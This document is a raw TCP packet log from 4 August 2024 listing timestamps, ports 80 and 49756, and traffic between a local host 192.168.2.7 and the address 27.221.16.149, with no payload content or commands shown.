Aug 4, 2024 10:57:47.680774927 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:47.680811882 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:47.680826902 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.027626991 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.027641058 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.027652979 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.027667046 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.027725935 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.027765989 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.027787924 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.027806997 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.027818918 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.027832031 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.027843952 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.027846098 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.027857065 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.027869940 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.027879000 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.027887106 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.027895927 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.027909040 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.027920961 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.027932882 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.027947903 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.027975082 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.028033972 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028052092 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028064966 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028074980 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.028078079 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028093100 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028104067 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.028107882 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028121948 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028134108 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028134108 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.028146029 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028160095 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028172016 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.028198957 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.028245926 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028258085 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028285980 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028287888 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.028299093 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028311014 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028323889 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.028323889 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028337955 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028350115 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.028350115 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028363943 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028376102 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.028402090 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.028428078 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028450012 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028460979 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028472900 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028495073 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028502941 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.028508902 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028513908 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.028522015 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028533936 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028546095 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028552055 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.028558969 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028569937 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028572083 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.028587103 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028599024 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028599977 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.028611898 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028633118 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.028655052 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028656960 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.028676987 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028688908 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028702021 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028714895 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028723001 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.028743029 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.028784037 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028796911 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028809071 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028822899 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.028836012 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028847933 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028851032 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.028860092 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028872967 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.028886080 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.028913021 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.029019117 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.029031038 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.029041052 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.029057980 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.029068947 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.029081106 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.029082060 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.029104948 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.029107094 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.029118061 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.029120922 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.029130936 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.029143095 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.029155970 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.029158115 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.029169083 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.029182911 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.029210091 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.029263020 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.029274940 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.029285908 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.029298067 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.029309034 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.029310942 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.029321909 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.029335022 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.029339075 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.029346943 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.029360056 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.029371023 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.029372931 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.029386997 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.029400110 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.029401064 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.029413939 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.029428959 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.029441118 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.029442072 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.029460907 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.029486895 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.029551029 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.029561996 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.029573917 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.029583931 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.029587030 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.029613018 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.079811096 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.405740976 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.405756950 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.405766964 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.405873060 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.406138897 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.406151056 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.406162977 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.406187057 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.406198978 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.406205893 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.406213045 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.406224966 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.406229019 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.406236887 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.406248093 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.406249046 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.406261921 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.406263113 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.406274080 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.406286001 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.406300068 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.406300068 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.406338930 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.406357050 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.406635046 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.406646967 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.406657934 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.406668901 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.406681061 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.406691074 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.406692028 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.406704903 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.406718016 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.406722069 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.406729937 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.406743050 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.406743050 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.406754971 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.406760931 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.406790972 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.406795025 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.406807899 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.406817913 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.406829119 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.406840086 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.406841040 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.406852961 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.406862020 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.406867027 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.406877995 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.406888008 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.406896114 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.406907082 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.406917095 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.406930923 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.406943083 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.406950951 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.406964064 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.406972885 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.406975031 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.406987906 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407001019 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.407001972 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407030106 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.407042980 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407058001 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407068968 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407080889 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407087088 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.407094002 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407107115 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407115936 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.407123089 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407135963 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407140017 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.407150030 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407160997 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.407165051 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407177925 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407195091 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.407217979 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.407418966 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407433987 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407445908 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407458067 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407468081 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407476902 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.407480955 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407495975 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407499075 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.407509089 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407521009 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407530069 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.407532930 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407547951 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407548904 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.407568932 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.407571077 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407583952 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407605886 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407618046 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407623053 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.407629967 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407641888 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407648087 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.407656908 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407670975 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.407685041 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407696962 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407707930 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407720089 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407727003 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.407732964 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407746077 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407754898 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.407757998 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407769918 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407782078 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407793999 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407793999 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.407807112 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407823086 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407826900 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.407835960 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407847881 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407847881 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.407860041 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.407861948 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407876968 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407886982 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407893896 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.407898903 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407912970 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407923937 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.407923937 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.407943964 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.408267021 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.408299923 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.408313036 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.408324003 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.408337116 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.408348083 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.408363104 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.408370018 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.408395052 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.408415079 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.726263046 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.726330996 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.726389885 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.726442099 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.726478100 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.726515055 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.726569891 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.726604939 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.726640940 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.726680040 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.726712942 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.726768017 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.726804972 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.726839066 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.726878881 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.726919889 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.726974010 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.727010965 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.727072001 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.727111101 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.727168083 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.727204084 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.727237940 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.727273941 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.727314949 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.727363110 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.727396965 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.727516890 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.727552891 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.727612972 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.727677107 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.727731943 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.727766991 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.727801085 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.727839947 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.727899075 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.727955103 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.727991104 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.728025913 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.728063107 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.728118896 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.728152990 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.728188992 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.728228092 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.728260994 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.728297949 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.728329897 CEST	80	49756	27.221.16.149	192.168.2.7
